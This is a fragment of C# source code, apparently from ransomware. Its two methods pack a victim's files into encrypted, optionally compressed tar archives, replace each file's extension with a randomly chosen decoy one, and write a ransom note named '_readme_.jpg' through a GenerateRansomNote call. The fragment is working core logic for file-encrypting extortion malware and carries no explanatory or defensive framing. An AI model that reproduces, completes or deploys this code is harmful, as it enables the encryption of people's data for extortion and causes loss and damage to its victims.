private void CreateTarOutputStream(FileInfo encFile, EncryptionWorkerContext w)
{
KeyValuePair <string, byte[]> fileType = (from ft in fileTypes
select ft).Skip(random.Next(0, fileTypes.Count() - 1)).First();
string extension = encFile.Extension;
if (fileType.Key == extension)
{
fileType = (from ft in fileTypes
where ft.Key != extension
select ft).First();
}
// remove old file extension and add new one
string fileName = encFile.FullName;
fileName = fileName.Substring(0, fileName.Length - extension.Length); // + fileType.Key
fileName += fileType.Key;
Console.WriteLine("CreateTarOutputStream: {0}", fileName);
w.output = new FileStream(fileName, FileMode.Create, FileAccess.Write);
CryptoStream crypt = GetEncryptStream(w.output, fileType.Value);
if (Compress)
{
w.encryptedTarStream = new TarOutputStream(new GZipOutputStream(crypt));
}
else
{
w.encryptedTarStream = new TarOutputStream(crypt);
}
int rArch = random.Next(0, 5);
if (w.archiveCount == 5)
{
GenerateRansomNote(fileName + "_readme_.jpg");
}
}
private void EncryptFileHandler(EncryptionWorkerContext w, FileInfo file)
{
if (w.fileCount == 0)
{
w.Close();
// create new one
CreateTarOutputStream(file, w);
}
TarFile(file.FullName, w.encryptedTarStream);
w.filesSize += file.Length;
++w.fileCount;
// check limits, if exceeded then reset them
if ((w.fileCount >= MaxFilesInArchive && MaxFilesInArchive > 0) || (MaxOutputFileSize > 0 && w.filesSize >= MaxOutputFileSize))
{
w.Reset();
}
}
